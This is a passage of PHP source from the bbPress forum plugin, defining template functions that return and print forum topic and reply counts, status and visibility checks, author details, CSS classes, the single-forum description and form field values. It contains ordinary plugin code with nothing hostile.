		return apply_filters( $filter, $forum_count, $forum_id );
	}

/**
 * Output total topic count of a forum
 *
 * @since 2.0.0 bbPress (r2464)
 *
 * @param int $forum_id Optional. Forum id
 * @param bool $total_count Optional. To get the total count or normal count?
 * @param boolean $integer Optional. Whether or not to format the result
 */
function bbp_forum_topic_count( $forum_id = 0, $total_count = true, $integer = false ) {
	echo bbp_get_forum_topic_count( $forum_id, $total_count, $integer );
}
	/**
	 * Return total topic count of a forum
	 *
	 * @since 2.0.0 bbPress (r2464)
	 *
	 * @param int $forum_id Optional. Forum id
	 * @param bool $total_count Optional. To get the total count or normal
	 *                           count? Defaults to total.
	 * @param boolean $integer Optional. Whether or not to format the result
	 * @return int Forum topic count
	 */
	function bbp_get_forum_topic_count( $forum_id = 0, $total_count = true, $integer = false ) {
		$forum_id = bbp_get_forum_id( $forum_id );
		$meta_key = empty( $total_count ) ? '_bbp_topic_count' : '_bbp_total_topic_count';
		$topics   = (int) get_post_meta( $forum_id, $meta_key, true );
		$filter   = ( true === $integer )
			? 'bbp_get_forum_topic_count_int'
			: 'bbp_get_forum_topic_count';

		return apply_filters( $filter, $topics, $forum_id );
	}

/**
 * Output total reply count of a forum
 *
 * @since 2.0.0 bbPress (r2464)
 *
 * @param int $forum_id Optional. Forum id
 * @param bool $total_count Optional. To get the total count or normal count?
 * @param boolean $integer Optional. Whether or not to format the result
 */
function bbp_forum_reply_count( $forum_id = 0, $total_count = true, $integer = false ) {
	echo bbp_get_forum_reply_count( $forum_id, $total_count, $integer );
}
	/**
	 * Return total post count of a forum
	 *
	 * @since 2.0.0 bbPress (r2464)
	 *
	 * @param int $forum_id Optional. Forum id
	 * @param bool $total_count Optional. To get the total count or normal
	 *                           count?
	 * @param boolean $integer Optional. Whether or not to format the result
	 * @return int Forum reply count
	 */
	function bbp_get_forum_reply_count( $forum_id = 0, $total_count = true, $integer = false ) {
		$forum_id = bbp_get_forum_id( $forum_id );
		$meta_key = empty( $total_count ) ? '_bbp_reply_count' : '_bbp_total_reply_count';
		$replies  = (int) get_post_meta( $forum_id, $meta_key, true );
		$filter   = ( true === $integer )
			? 'bbp_get_forum_reply_count_int'
			: 'bbp_get_forum_reply_count';

		return apply_filters( $filter, $replies, $forum_id );
	}

/**
 * Output total post count of a forum
 *
 * @since 2.0.0 bbPress (r2954)
 *
 * @param int $forum_id Optional. Forum id
 * @param bool $total_count Optional. To get the total count or normal count?
 * @param boolean $integer Optional. Whether or not to format the result
 */
function bbp_forum_post_count( $forum_id = 0, $total_count = true, $integer = false ) {
	echo bbp_get_forum_post_count( $forum_id, $total_count, $integer );
}
	/**
	 * Return total post count of a forum
	 *
	 * @since 2.0.0 bbPress (r2954)
	 *
	 * @param int $forum_id Optional. Forum id
	 * @param bool $total_count Optional. To get the total count or normal
	 *                           count?
	 * @param boolean $integer Optional. Whether or not to format the result
	 * @return int Forum post count
	 */
	function bbp_get_forum_post_count( $forum_id = 0, $total_count = true, $integer = false ) {
		$forum_id = bbp_get_forum_id( $forum_id );
		$topics   = bbp_get_forum_topic_count( $forum_id, $total_count, true );
		$replies  = bbp_get_forum_reply_count( $forum_id, $total_count, true );
		$retval   = ( $replies + $topics );
		$filter   = ( true === $integer )
			? 'bbp_get_forum_post_count_int'
			: 'bbp_get_forum_post_count';

		return apply_filters( $filter, $retval, $forum_id );
	}

/**
 * Output total hidden topic count of a forum (hidden includes trashed, spammed,
 * and pending topics)
 *
 * @since 2.0.0 bbPress (r2883)
 * @since 2.6.0 bbPress (r6922) Changed function signature to add total counts
 *
 * @param int $forum_id Optional. Forum id
 * @param bool $total_count Optional. To get the total count or normal count?
 * @param boolean $integer Optional. Whether or not to format the result
 */
function bbp_forum_topic_count_hidden( $forum_id = 0, $total_count = true, $integer = null ) {
	echo bbp_get_forum_topic_count_hidden( $forum_id, $total_count, $integer );
}
	/**
	 * Return total hidden topic count of a forum (hidden includes trashed,
	 * spammed and pending topics)
	 *
	 * @since 2.0.0 bbPress (r2883)
	 * @since 2.6.0 bbPress (r6922) Changed function signature to add total counts
	 *
	 * @param int $forum_id Optional. Forum id
	 * @param bool $total_count Optional. To get the total count or normal count?
	 * @param boolean $integer Optional. Whether or not to format the result
	 * @return int Topic hidden topic count
	 */
	function bbp_get_forum_topic_count_hidden( $forum_id = 0, $total_count = true, $integer = null ) {
		$forum_id = bbp_get_forum_id( $forum_id );
		$meta_key = empty( $total_count ) ? '_bbp_topic_count_hidden' : '_bbp_topic_reply_count_hidden';
		$topics   = (int) get_post_meta( $forum_id, $meta_key, true );
		$filter   = ( true === $integer )
			? 'bbp_get_forum_topic_count_hidden_int'
			: 'bbp_get_forum_topic_count_hidden';

		return apply_filters( $filter, $topics, $forum_id );
	}

/**
 * Output total hidden reply count of a forum (hidden includes trashed, spammed,
 * and pending replies)
 *
 * @since 2.6.0 bbPress (r6922)
 *
 * @param int $forum_id Optional. Forum id
 * @param bool $total_count Optional. To get the total count or normal count?
 * @param boolean $integer Optional. Whether or not to format the result
 */
function bbp_forum_reply_count_hidden( $forum_id = 0, $total_count = true, $integer = false ) {
	echo bbp_get_forum_reply_count_hidden( $forum_id, $total_count, $integer );
}
	/**
	 * Return total hidden reply count of a forum (hidden includes trashed,
	 * spammed and pending replies)
	 *
	 * @since 2.6.0 bbPress (r6922)
	 *
	 * @param int $forum_id Optional. Forum id
	 * @param bool $total_count Optional. To get the total count or normal
	 *                           count?
	 * @param boolean $integer Optional. Whether or not to format the result
	 * @return int Forum reply count
	 */
	function bbp_get_forum_reply_count_hidden( $forum_id = 0, $total_count = true, $integer = false ) {
		$forum_id = bbp_get_forum_id( $forum_id );
		$meta_key = empty( $total_count ) ? '_bbp_reply_count_hidden' : '_bbp_total_reply_count_hidden';
		$replies  = (int) get_post_meta( $forum_id, $meta_key, true );
		$filter   = ( true === $integer )
			? 'bbp_get_forum_reply_count_hidden_int'
			: 'bbp_get_forum_reply_count_hidden';

		return apply_filters( $filter, $replies, $forum_id );
	}

/**
 * Output the status of the forum
 *
 * @since 2.0.0 bbPress (r2667)
 *
 * @param int $forum_id Optional. Forum id
 */
function bbp_forum_status( $forum_id = 0 ) {
	echo bbp_get_forum_status( $forum_id );
}
	/**
	 * Return the status of the forum
	 *
	 * @since 2.0.0 bbPress (r2667)
	 *
	 * @param int $forum_id Optional. Forum id
	 * @return string Status of forum
	 */
	function bbp_get_forum_status( $forum_id = 0 ) {
		$forum_id = bbp_get_forum_id( $forum_id );
		$status   = get_post_meta( $forum_id, '_bbp_status', true );

		if ( empty( $status ) ) {
			$status = 'open';
		}

		// Filter & return
		return apply_filters( 'bbp_get_forum_status', $status, $forum_id );
	}

/**
 * Output the visibility of the forum
 *
 * @since 2.0.0 bbPress (r2997)
 *
 * @param int $forum_id Optional. Forum id
 */
function bbp_forum_visibility( $forum_id = 0 ) {
	echo bbp_get_forum_visibility( $forum_id );
}
	/**
	 * Return the visibility of the forum
	 *
	 * @since 2.0.0 bbPress (r2997)
	 *
	 * @param int $forum_id Optional. Forum id
	 * @return string Status of forum
	 */
	function bbp_get_forum_visibility( $forum_id = 0 ) {
		$forum_id   = bbp_get_forum_id( $forum_id );
		$visibility = get_post_status( $forum_id );

		// Filter & return
		return apply_filters( 'bbp_get_forum_visibility', $visibility, $forum_id );
	}

/**
 * Output the type of the forum
 *
 * @since 2.1.0 bbPress (r3563)
 *
 * @param int $forum_id Optional. Forum id
 */
function bbp_forum_type( $forum_id = 0 ) {
	echo bbp_get_forum_type( $forum_id );
}
	/**
	 * Return the type of forum (category/forum/etc...)
	 *
	 * @since 2.1.0 bbPress (r3563)
	 *
	 * @param int $forum_id Optional. Forum id
	 * @return bool Whether the forum is a category or not
	 */
	function bbp_get_forum_type( $forum_id = 0 ) {
		$forum_id = bbp_get_forum_id( $forum_id );
		$retval   = get_post_meta( $forum_id, '_bbp_forum_type', true );

		if ( empty( $retval ) ) {
			$retval = 'forum';
		}

		// Filter & return
		return apply_filters( 'bbp_get_forum_type', $retval, $forum_id );
	}

/**
 * Is the forum a category?
 *
 * @since 2.0.0 bbPress (r2746)
 *
 * @param int $forum_id Optional. Forum id
 * @return bool Whether the forum is a category or not
 */
function bbp_is_forum_category( $forum_id = 0 ) {
	$forum_id = bbp_get_forum_id( $forum_id );
	$type     = bbp_get_forum_type( $forum_id );
	$retval   = ( ! empty( $type ) && 'category' === $type );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_forum_category', (bool) $retval, $forum_id );
}

/**
 * Is the forum open?
 *
 * @since 2.0.0 bbPress (r2746)
 *
 * @param int $forum_id Optional. Forum id
 * @param bool $check_ancestors Check if the ancestors are open (only
 *                               if they're a category)
 * @return bool Whether the forum is open or not
 */
function bbp_is_forum_open( $forum_id = 0, $check_ancestors = true ) {
	return ! bbp_is_forum_closed( $forum_id, $check_ancestors );
}

/**
* Is the forum closed?
 *
 * @since 2.0.0 bbPress (r2746)
 *
 * @param int $forum_id Optional. Forum id
 * @param bool $check_ancestors Check if the ancestors are closed (only
 *                               if they're a category)
 * @return bool True if closed, false if not
 */
function bbp_is_forum_closed( $forum_id = 0, $check_ancestors = true ) {

	// Get the forum ID
	$forum_id = bbp_get_forum_id( $forum_id );

	// Check if the forum or one of it's ancestors is closed
	$retval   = bbp_is_forum_status( $forum_id, bbp_get_closed_status_id(), $check_ancestors, 'OR' );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_forum_closed', (bool) $retval, $forum_id, $check_ancestors );
}

/**
 * Check if the forum status is a specific one, also maybe checking ancestors
 *
 * @since 2.6.0 bbPress (r5499)
 *
 * @param bool $status_name The forum status name to check
 * @param bool $check_ancestors Check the forum ancestors
 * @param string $operator The logical operation to perform.
 *      'OR' means only one forum from the tree needs to match;
 *      'AND' means all forums must match. The default is 'AND'.
 * @return bool True if match, false if not
 */
function bbp_is_forum_status( $forum_id, $status_name, $check_ancestors = true, $operator = 'AND' ) {

	// Setup some default variables
	$count        = 0;
	$retval       = false;
	$operator     = strtoupper( $operator );
	$forum_id     = bbp_get_forum_id( $forum_id );
	$forum_status = bbp_get_forum_status( $forum_id );

	// Quickly compare statuses of first forum ID
	if ( $status_name === $forum_status ) {
		$retval = true;
		$count++;
	}

	// Let's check the forum's ancestors too
	if ( ! empty( $check_ancestors ) ) {

		// Adjust the ancestor check based on the count
		switch( $operator ) {
			default:
			case 'AND':
				$check_ancestors = ( $count > 0 );
				break;

			case 'OR':
				$check_ancestors = ( $count < 1 );
				break;
		}

		// Ancestor check passed, so continue looping through them
		if ( ! empty( $check_ancestors ) ) {

			// Loop through the forum ancestors
			foreach ( (array) bbp_get_forum_ancestors( $forum_id ) as $ancestor ) {

				// Check if the forum is a category
				if ( bbp_is_forum_category( $ancestor ) ) {

					// Check the ancestor forum status
					$retval = bbp_is_forum_status( $ancestor, $status_name, false );
					if ( true === $retval ) {
						$count++;
					}
				}

				// Break when it reach the max count
				if ( ( $operator === 'OR' ) && ( $count >= 1 ) ) {
					break;
				}
			}
		}
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_forum_status', $retval, $count, $forum_id, $status_name, $check_ancestors, $operator );
}

/**
 * Is the forum public?
 *
 * @since 2.0.0 bbPress (r2997)
 *
 * @param int $forum_id Optional. Forum id
 * @param bool $check_ancestors Check if the ancestors are public
 * @return bool True if closed, false if not
 */
function bbp_is_forum_public( $forum_id = 0, $check_ancestors = true ) {

	// Get the forum ID
	$forum_id = bbp_get_forum_id( $forum_id );

	// Check if the forum and all of it's ancestors are public
	$retval   = bbp_is_forum_visibility( $forum_id, bbp_get_public_status_id(), $check_ancestors );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_forum_public', $retval, $forum_id, $check_ancestors );
}

/**
 * Is the forum private?
 *
 * @since 2.0.0 bbPress (r2746)
 *
 * @param int $forum_id Optional. Forum id
 * @param bool $check_ancestors Check if the ancestors are private
 * @return bool True if private, false if not
 */
function bbp_is_forum_private( $forum_id = 0, $check_ancestors = true ) {

	// Get the forum ID
	$forum_id = bbp_get_forum_id( $forum_id );

	// Check if the forum or one of it's ancestors is private
	$retval   = bbp_is_forum_visibility( $forum_id, bbp_get_private_status_id(), $check_ancestors, 'OR' );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_forum_private', $retval, $forum_id, $check_ancestors );
}

/**
 * Is the forum hidden?
 *
 * @since 2.0.0 bbPress (r2997)
 *
 * @param int $forum_id Optional. Forum id
 * @param bool $check_ancestors Check if the ancestors are private (only if
 *                               they're a category)
 * @return bool True if hidden, false if not
 */
function bbp_is_forum_hidden( $forum_id = 0, $check_ancestors = true ) {

	// Get the forum ID
	$forum_id = bbp_get_forum_id( $forum_id );

	// Check if the forum or one of it's ancestors is hidden
	$retval   = bbp_is_forum_visibility( $forum_id, bbp_get_hidden_status_id(), $check_ancestors, 'OR' );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_forum_hidden', $retval, $forum_id, $check_ancestors );
}

/**
 * Check the forum visibility ID
 *
 * @since 2.6.0 bbPress (r5499)
 *
 * @param int $forum_id Optional. Forum id
 * @param bool $status_name The post status name to check
 * @param bool $check_ancestors Check the forum ancestors
 * @param string $operator The logical operation to perform.
 *      'OR' means only one forum from the tree needs to match;
 *      'AND' means all forums must match. The default is 'AND'.
 * @return bool True if match, false if not
 */
function bbp_is_forum_visibility( $forum_id, $status_name, $check_ancestors = true, $operator = 'AND' ) {

	// Setup some default variables
	$count      = 0;
	$retval     = false;
	$operator   = strtoupper( $operator );
	$forum_id   = bbp_get_forum_id( $forum_id );
	$visibility = bbp_get_forum_visibility( $forum_id );

	// Quickly compare visibility of first forum ID
	if ( $status_name === $visibility ) {
		$retval = true;
		$count++;
	}

	// Let's check the forum's ancestors too
	if ( ! empty( $check_ancestors ) ) {

		// Adjust the ancestor check based on the count
		switch ( $operator ) {

			// Adjust the ancestor check based on the count
			default:
			case 'AND':
				$check_ancestors = ( $count > 0 );
				break;

			case 'OR':
				$check_ancestors = ( $count < 1 );
				break;
		}

		// Ancestor check passed, so continue looping through them
		if ( ! empty( $check_ancestors ) ) {

			// Loop through the forum ancestors
			foreach ( (array) bbp_get_forum_ancestors( $forum_id ) as $ancestor ) {

				// Check if the forum is not a category
				if ( bbp_is_forum( $ancestor ) ) {

					// Check the forum visibility
					$retval = bbp_is_forum_visibility( $ancestor, $status_name, false );
					if ( true === $retval ) {
						$count++;
					}
				}

				// Break when it reach the max count
				if ( ( $operator === 'OR' ) && ( $count >= 1 ) ) {
					break;
				}
			}
		}
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_is_forum_visibility', $retval, $count, $forum_id, $status_name, $check_ancestors, $operator );
}

/**
 * Output the author ID of the forum
 *
 * @since 2.1.0 bbPress (r3675)
 *
 * @param int $forum_id Optional. Forum id
 */
function bbp_forum_author_id( $forum_id = 0 ) {
	echo bbp_get_forum_author_id( $forum_id );
}
	/**
	 * Return the author ID of the forum
	 *
	 * @since 2.1.0 bbPress (r3675)
	 *
	 * @param int $forum_id Optional. Forum id
	 *                        id and forum id
	 * @return string Author of forum
	 */
	function bbp_get_forum_author_id( $forum_id = 0 ) {
		$forum_id  = bbp_get_forum_id( $forum_id );
		$author_id = get_post_field( 'post_author', $forum_id );

		// Filter & return
		return (int) apply_filters( 'bbp_get_forum_author_id', (int) $author_id, $forum_id );
	}

/**
 * Output the author of the forum
 *
 * @since 2.1.0 bbPress (r3675)
 *
 * @param int $forum_id Optional. Forum id
 */
function bbp_forum_author_display_name( $forum_id = 0 ) {
	echo bbp_get_forum_author_display_name( $forum_id );
}
	/**
	 * Return the author of the forum
	 *
	 * @since 2.1.0 bbPress (r3675)
	 *
	 * @param int $forum_id Optional. Forum id
	 * @return string Author of forum
	 */
	function bbp_get_forum_author_display_name( $forum_id = 0 ) {
		$forum_id  = bbp_get_forum_id( $forum_id );
		$author_id = bbp_get_forum_author_id( $forum_id );
		$author    = get_the_author_meta( 'display_name', $author_id );

		// Filter & return
		return apply_filters( 'bbp_get_forum_author_display_name', $author, $forum_id, $author_id );
	}

/**
 * Replace forum meta details for users that cannot view them.
 *
 * @since 2.0.0 bbPress (r3162)
 *
 * @param string $retval
 * @param int $forum_id
 *
 * @return string
 */
function bbp_suppress_private_forum_meta( $retval, $forum_id ) {
	if ( bbp_is_forum_private( $forum_id, false ) && ! current_user_can( 'read_forum', $forum_id ) ) {
		$retval = '-';
	}

	// Filter & return
	return apply_filters( 'bbp_suppress_private_forum_meta', $retval );
}

/**
 * Replace forum author details for users that cannot view them.
 *
 * @since 2.0.0 bbPress (r3162)
 *
 * @param string $author_link
 * @param array $args
 *
 * @return string
 */
function bbp_suppress_private_author_link( $author_link = '', $args = array() ) {

	// Assume the author link is the return value
	$retval = $author_link;

	// Show the normal author link
	if ( ! empty( $args['post_id'] ) && ! current_user_can( 'read_private_forums' ) ) {

		// What post type are we looking at?
		switch ( get_post_type( $args['post_id'] ) ) {

			// Topic
			case bbp_get_topic_post_type() :
				$forum_id = bbp_get_topic_forum_id( $args['post_id'] );
				break;

			// Reply
			case bbp_get_reply_post_type() :
				$forum_id = bbp_get_reply_forum_id( $args['post_id'] );
				break;

			// Post
			default :
				$forum_id = bbp_get_forum_id( $args['post_id'] );
				break;
		}

		// Hide if forum is private
		if ( bbp_is_forum_private( $forum_id ) ) {
			$retval = '';
		}
	}

	// Filter & return
	return apply_filters( 'bbp_suppress_private_author_link', $retval, $author_link, $args );
}

/**
 * Output the row class of a forum
 *
 * @since 2.0.0 bbPress (r2667)
 *
 * @param int $forum_id Optional. Forum ID.
 * @param array Extra classes you can pass when calling this function
 */
function bbp_forum_class( $forum_id = 0, $classes = array() ) {
	echo bbp_get_forum_class( $forum_id, $classes );
}
	/**
	 * Return the row class of a forum
	 *
	 * @since 2.0.0 bbPress (r2667)
	 *
	 * @param int $forum_id Optional. Forum ID
	 * @param array Extra classes you can pass when calling this function
	 * @return string Row class of the forum
	 */
	function bbp_get_forum_class( $forum_id = 0, $classes = array() ) {
		$bbp        = bbpress();
		$forum_id   = bbp_get_forum_id( $forum_id );
		$parent_id  = bbp_get_forum_parent_id( $forum_id );
		$author_id  = bbp_get_forum_author_id( $forum_id );
		$status     = bbp_get_forum_status( $forum_id );
		$visibility = bbp_get_forum_visibility( $forum_id );
		$classes    = array_filter( (array) $classes );
		$count      = isset( $bbp->forum_query->current_post )
			? (int) $bbp->forum_query->current_post
			: 1;

		//  Stripes
		$even_odd = ( $count % 2 )
			? 'even'
			: 'odd';

		// User is moderator of forum
		$forum_moderator = ( bbp_is_user_forum_moderator( $author_id, $forum_id ) === $author_id )
			? 'forum-mod'
			: '';

		// Is forum a non-postable category?
		$category = bbp_is_forum_category( $forum_id )
			? 'status-category'
			: '';

		// Forum has children?
		$subs = bbp_get_forum_subforum_count( $forum_id )
			? 'bbp-has-subforums'
			: '';

		// Forum has parent?
		$parent = ! empty( $parent_id )
			? 'bbp-parent-forum-' . $parent_id
			: '';

		// Get forum classes
		$forum_classes = array(
			'loop-item-'            . $count,
			'bbp-forum-status-'     . $status,
			'bbp-forum-visibility-' . $visibility,
			$even_odd,
			$forum_moderator,
			$category,
			$subs,
			$parent
		);

		// Run the topic classes through the post-class filters, which also
		// handles the escaping of each individual class.
		$post_classes = get_post_class( array_merge( $classes, $forum_classes ), $forum_id );

		// Filter
		$new_classes  = apply_filters( 'bbp_get_forum_class', $post_classes, $forum_id, $classes );

		// Return
		return 'class="' . implode( ' ', $new_classes ) . '"';
	}

/** Single Forum **************************************************************/

/**
 * Output a fancy description of the current forum, including total topics,
 * total replies, and last activity.
 *
 * @since 2.0.0 bbPress (r2860)
 *
 * @param array $args Arguments passed to alter output
 */
function bbp_single_forum_description( $args = array() ) {
	echo bbp_get_single_forum_description( $args );
}
	/**
	 * Return a fancy description of the current forum, including total
	 * topics, total replies, and last activity.
	 *
	 * @since 2.0.0 bbPress (r2860)
	 *
	 * @param array $args This function supports these arguments:
	 *  - forum_id: Forum id
	 *  - before: Before the text
	 *  - after: After the text
	 *  - size: Size of the avatar
	 * @return string Filtered forum description
	 */
	function bbp_get_single_forum_description( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'forum_id'  => 0,
			'before'    => '<div class="bbp-template-notice info"><ul><li class="bbp-forum-description">',
			'after'     => '</li></ul></div>',
			'size'      => 14,
			'feed'      => true
		), 'get_single_forum_description' );

		// Validate forum_id
		$forum_id = bbp_get_forum_id( $r['forum_id'] );

		// Unhook the 'view all' query var adder
		remove_filter( 'bbp_get_forum_permalink', 'bbp_add_view_all' );

		// Get some forum data
		$tc_int      = bbp_get_forum_topic_count( $forum_id, true, true  );
		$rc_int      = bbp_get_forum_reply_count( $forum_id, true, true  );
		$topic_count = bbp_get_forum_topic_count( $forum_id, true, false );
		$reply_count = bbp_get_forum_reply_count( $forum_id, true, false );
		$last_active = bbp_get_forum_last_active_id( $forum_id );

		// Has replies
		if ( ! empty( $reply_count ) ) {
			$reply_text = sprintf( _n( '%s reply', '%s replies', $rc_int, 'bbpress' ), $reply_count );
		}

		// Forum has active data
		if ( ! empty( $last_active ) ) {
			$topic_text      = bbp_get_forum_topics_link( $forum_id );
			$time_since      = bbp_get_forum_freshness_link( $forum_id );
			$last_updated_by = bbp_get_author_link( array( 'post_id' => $last_active, 'size' => $r['size'] ) );

		// Forum has no last active data
		} else {
			$topic_text      = sprintf( _n( '%s topic', '%s topics', $tc_int, 'bbpress' ), $topic_count );
		}

		// Forum has active data
		if ( ! empty( $last_active ) ) {

			// Has replies
			if ( ! empty( $reply_count ) ) {
				$retstr = bbp_is_forum_category( $forum_id )
					? sprintf( esc_html__( 'This category has %1$s, %2$s, and was last updated %3$s by %4$s.', 'bbpress' ), $topic_text, $reply_text, $time_since, $last_updated_by )
					: sprintf( esc_html__( 'This forum has %1$s, %2$s, and was last updated %3$s by %4$s.',    'bbpress' ), $topic_text, $reply_text, $time_since, $last_updated_by );

			// Only has topics
			} else {
				$retstr = bbp_is_forum_category( $forum_id )
					? sprintf( esc_html__( 'This category has %1$s, and was last updated %2$s by %3$s.', 'bbpress' ), $topic_text, $time_since, $last_updated_by )
					: sprintf( esc_html__( 'This forum has %1$s, and was last updated %2$s by %3$s.',    'bbpress' ), $topic_text, $time_since, $last_updated_by );
			}

		// Forum has no last active data (but does have topics & replies)
		} elseif ( ! empty( $reply_count ) ) {
			$retstr = bbp_is_forum_category( $forum_id )
				? sprintf( esc_html__( 'This category has %1$s and %2$s.', 'bbpress' ), $topic_text, $reply_text )
				: sprintf( esc_html__( 'This forum has %1$s and %2$s.',    'bbpress' ), $topic_text, $reply_text );

		// Forum has no last active data or replies (but does have topics)
		} elseif ( ! empty( $topic_count ) ) {
			$retstr = bbp_is_forum_category( $forum_id )
				? sprintf( esc_html__( 'This category has %1$s.', 'bbpress' ), $topic_text )
				: sprintf( esc_html__( 'This forum has %1$s.',    'bbpress' ), $topic_text );

		// Forum is empty
		} else {
			$retstr = esc_html__( 'This forum is empty.', 'bbpress' );
		}

		// Add the 'view all' filter back
		add_filter( 'bbp_get_forum_permalink', 'bbp_add_view_all' );

		// Combine the elements together
		$retstr = $r['before'] . $retstr . $r['after'];

		// Filter & return
		return apply_filters( 'bbp_get_single_forum_description', $retstr, $r, $args );
	}

/** Forms *********************************************************************/

/**
 * Output the value of forum title field
 *
 * @since 2.1.0 bbPress (r3551)
 */
function bbp_form_forum_title() {
	echo bbp_get_form_forum_title();
}
	/**
	 * Return the value of forum title field
	 *
	 * @since 2.1.0 bbPress (r3551)
	 *
	 * @return string Value of forum title field
	 */
	function bbp_get_form_forum_title() {

		// Get _POST data
		if ( bbp_is_forum_form_post_request() && isset( $_POST['bbp_forum_title'] ) ) {
			$forum_title = wp_unslash( $_POST['bbp_forum_title'] );

		// Get edit data
		} elseif ( bbp_is_forum_edit() ) {
			$forum_title = bbp_get_global_post_field( 'post_title', 'raw' );

		// No data
		} else {
			$forum_title = '';
		}

		// Filter & return
		return apply_filters( 'bbp_get_form_forum_title', $forum_title );
	}

/**
 * Output the value of forum content field
 *
 * @since 2.1.0 bbPress (r3551)
 */
function bbp_form_forum_content() {
	echo bbp_get_form_forum_content();
}
	/**
	 * Return the value of forum content field
	 *
	 * @since 2.1.0 bbPress (r3551)
	 *
	 * @return string Value of forum content field
	 */
	function bbp_get_form_forum_content() {

		// Get _POST data
		if ( bbp_is_forum_form_post_request() && isset( $_POST['bbp_forum_content'] ) ) {
			$forum_content = wp_unslash( $_POST['bbp_forum_content'] );

		// Get edit data
		} elseif ( bbp_is_forum_edit() ) {
			$forum_content = bbp_get_global_post_field( 'post_content', 'raw' );

		// No data
		} else {
			$forum_content = '';
		}

		// Filter & return
		return apply_filters( 'bbp_get_form_forum_content', $forum_content );
	}

/**
 * Output value of forum moderators field
 *
 * @since 2.6.0 bbPress (r5837)
 */
function bbp_form_forum_moderators() {
	echo bbp_get_form_forum_moderators();
}
	/**
	 * Return value of forum moderators field
	 *
	 * @since 2.6.0 bbPress (r5837)
	 *
	 * @return string Value of forum mods field
	 */
	function bbp_get_form_forum_moderators() {

		// Default return value
		$forum_mods = '';

		// Get _POST data
		if ( bbp_is_forum_form_post_request() && isset( $_POST['bbp_moderators'] ) ) {
			$forum_mods = wp_unslash( $_POST['bbp_moderators'] );

		// Get edit data
		} elseif ( bbp_is_single_forum() || bbp_is_forum_edit() ) {

			// Get the forum ID
			$forum_id = bbp_get_forum_id( get_the_ID() );

			// Forum exists
			if ( ! empty( $forum_id ) ) {

				// Get moderator IDs
				$user_ids = bbp_get_moderator_ids( $forum_id );
				if ( ! empty( $user_ids ) ) {
					$user_nicenames = bbp_get_user_nicenames_from_ids( $user_ids );

					// Comma separate user nicenames
					if ( ! empty( $user_nicenames ) ) {
						$forum_mods = implode( ', ', wp_list_pluck( $user_nicenames, 'user_nicename' ) );
					}
				}
			}
		}

		// Filter & return
		return apply_filters( 'bbp_get_form_forum_moderators', $forum_mods );
	}

/**
 * Output value of forum parent
 *
 * @since 2.1.0 bbPress (r3551)
 */
function bbp_form_forum_parent() {
	echo bbp_get_form_forum_parent();
}
	/**
	 * Return value of forum parent
	 *
	 * @since 2.1.0 bbPress (r3551)
	 *
	 * @return string Value of topic content field
	 */
	function bbp_get_form_forum_parent() {

		// Get _POST data
		if ( bbp_is_forum_form_post_request() && isset( $_POST['bbp_forum_id'] ) ) {
			$forum_parent = (int) $_POST['bbp_forum_id'];

		// Get edit data
		} elseif ( bbp_is_forum_edit() ) {
			$forum_parent = bbp_get_forum_parent_id();

		// No data
		} else {
			$forum_parent = 0;
		}

		// Filter & return
		return apply_filters( 'bbp_get_form_forum_parent', $forum_parent );
	}

/**
 * Output value of forum type
 *
 * @since 2.1.0 bbPress (r3563)
 */
function bbp_form_forum_type() {
	echo bbp_get_form_forum_type();
}
	/**
	 * Return value of forum type
	 *
	 * @since 2.1.0 bbPress (r3563)
	 *
	 * @return string Value of topic content field
	 */
	function bbp_get_form_forum_type() {

		// Get _POST data
		if ( bbp_is_forum_form_post_request() && isset( $_POST['bbp_forum_type'] ) ) {
			$forum_type = sanitize_key( $_POST['bbp_forum_type'] );

		// Get edit data
		} elseif ( bbp_is_forum_edit() ) {
			$forum_type = bbp_get_forum_type();

		// No data
		} else {
			$forum_type = 'forum';
		}

		// Filter & return
		return apply_filters( 'bbp_get_form_forum_type', $forum_type );
	}

/**
 * Output value of forum visibility
 *
 * @since 2.1.0 bbPress (r3563)
 */
function bbp_form_forum_visibility() {
	echo bbp_get_form_forum_visibility();
}
	/**
	 * Return value of forum visibility
	 *
	 * @since 2.1.0 bbPress (r3563)
	 *
	 * @return string Value of topic content field
	 */
	function bbp_get_form_forum_visibility() {

		// Get _POST data
		if ( bbp_is_forum_form_post_request() && isset( $_POST['bbp_forum_visibility'] ) ) {
			$forum_visibility = sanitize_key( $_POST['bbp_forum_visibility'] );

		// Get edit data
		} elseif ( bbp_is_forum_edit() ) {
			$forum_visibility = bbp_get_forum_visibility();

		// No data
		} else {
			$forum_visibility = bbpress()->public_status_id;
		}

		// Filter & return
		return apply_filters( 'bbp_get_form_forum_visibility', $forum_visibility );
	}

/**
 * Output checked value of forum subscription
 *
 * @since 2.5.0 bbPress (r5156)
 */
function bbp_form_forum_subscribed() {
	echo bbp_get_form_forum_subscribed();
}
	/**
	 * Return checked value of forum subscription
	 *
	 * @since 2.5.0 bbPress (r5156)
	 *
	 * @return string Checked value of forum subscription
	 */
	function bbp_get_form_forum_subscribed() {

		// Default value
		$forum_subscribed = false;

		// Get _POST data
		if ( bbp_is_forum_form_post_request() && isset( $_POST['bbp_forum_subscription'] ) ) {
			$forum_subscribed = (bool) $_POST['bbp_forum_subscription'];

		// Get edit data
		} elseif ( bbp_is_forum_edit() || bbp_is_reply_edit() ) {
			$post_author      = (int) bbp_get_global_post_field( 'post_author', 'raw' );
			$forum_subscribed = bbp_is_user_subscribed( $post_author, bbp_get_forum_id() );

		// Get current status
		} elseif ( bbp_is_single_forum() ) {
			$forum_subscribed = bbp_is_user_subscribed( bbp_get_current_user_id(), bbp_get_forum_id() );
		}

		// Get checked output
		$checked = checked( $forum_subscribed, true, false );

		// Filter & return
		return apply_filters( 'bbp_get_form_forum_subscribed', $checked, $forum_subscribed );
	}

/** Form Dropdowns ************************************************************/

/**
 * Output value forum type dropdown
 *
 * @since 2.1.0 bbPress (r3563)
 *
 * @param $args This function supports these arguments:
 *  - select_id: Select id. Defaults to bbp_forum_type
 *  - tab: Deprecated. Tabindex
 *  - forum_id: Forum id
 *  - selected: Override the selected option
 */
function bbp_form_forum_type_dropdown( $args = array() ) {
	echo bbp_get_form_forum_type_dropdown( $args );
}
	/**
	 * Return the forum type dropdown
	 *
	 * @since 2.1.0 bbPress (r3563)
	 *
	 * @param $args This function supports these arguments:
